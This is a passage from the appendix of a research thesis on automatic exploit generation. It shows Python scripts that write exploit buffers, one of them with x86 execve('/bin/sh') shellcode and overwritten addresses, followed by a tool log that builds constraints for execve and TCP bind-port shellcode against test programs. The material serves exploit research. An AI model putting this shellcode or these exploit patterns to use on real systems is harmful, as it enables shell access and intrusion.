6    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

7    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

8    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

9    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

10    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

11    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

12    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

13    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

14    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

15    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

16    \x41\x41\x41\x41\x41\x41\x41\x08\xa0\x04\x08‟ 

17 

18     ex = open(sys.argv[1], ‟w‟) 

19    ex.write(exploit) 

20    ex.close() 

B5 - WriteOperandCorruptionExploit 

 

ListingB.5:“Anexploitforwriteoperandcorruption” 

1    import sys 

2 

3    exploit = ‟\x0c\xa0\x04\x08\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46 

4    \x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f 

5    \x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

6    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

7    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

8    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 
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9    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x70\x95\x04 

10    \x08‟ 

11 

12     ex = open(sys.argv[1], ‟w‟) 

13    ex.write(exploit) 

14    ex.close() 

B6 - AXGENSampleRun 

% ˜/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/pin -t exploitgen.so -- \ 

./test_programs/thesis_progs/read_strcpy \ 

./test_programs/thesis_progs/128.input 

 [+] Client initialising [+] Starting program [+] Hooked read 

[+] Read 128 bytes 

[!] Byte 0 of stored EIP is tainted [!] Byte 1 of stored EIP is tainted [!] Byte 2 of stored 

EIP is tainted [!] Byte 3 of stored EIP is tainted 

[!] Crash reason: tainted return value (0x41414141) [+] Hooked 1 reads, for a total of 128 

bytes read [+] Getting taint propagation statistics... 

[+] Number of tainted memory locations: 256 [+] Number of taint buffers: 2 

[+] Logging taint buffer into to ti.out 

[+] Determining trampoline reachable taint buffers... [+] 1 buffer(s) reachable via a 

register trampoline 

[#] eax -> 0xbfe76898(size: 128, cclVal: PC/ASSIGN) [+] Processing for 3 different 

shellcodes... 

[+] Shellcode ‟execve‟ 

[#] Building constraint formula... 

[#] Adding EIP overwrite constraints... [#] Adding shellcode constraints... 

[#] Logging formula to resultsDir/execve.smt [#] Number of variables 298 

[#] Number of assumption clauses 84 [#] Number of formula clauses 128 

[+] Shellcode ‟alphanumeric_execve‟ 

[!] No TaintBuffer exists that is large enough to hold the provided shellcode(length: 166) 

[+] Shellcode ‟tcp_bind_port‟ 

[#] Building constraint formula... 

[#] Adding EIP overwrite constraints... [#] Adding shellcode constraints... 

[#] Logging formula to resultsDir/tcp_bind_port.smt [#] Number of variables 334 

[#] Number of assumption clauses 156 [#] Number of formula clauses 132 

[!] Calling exit() in the analysis client 


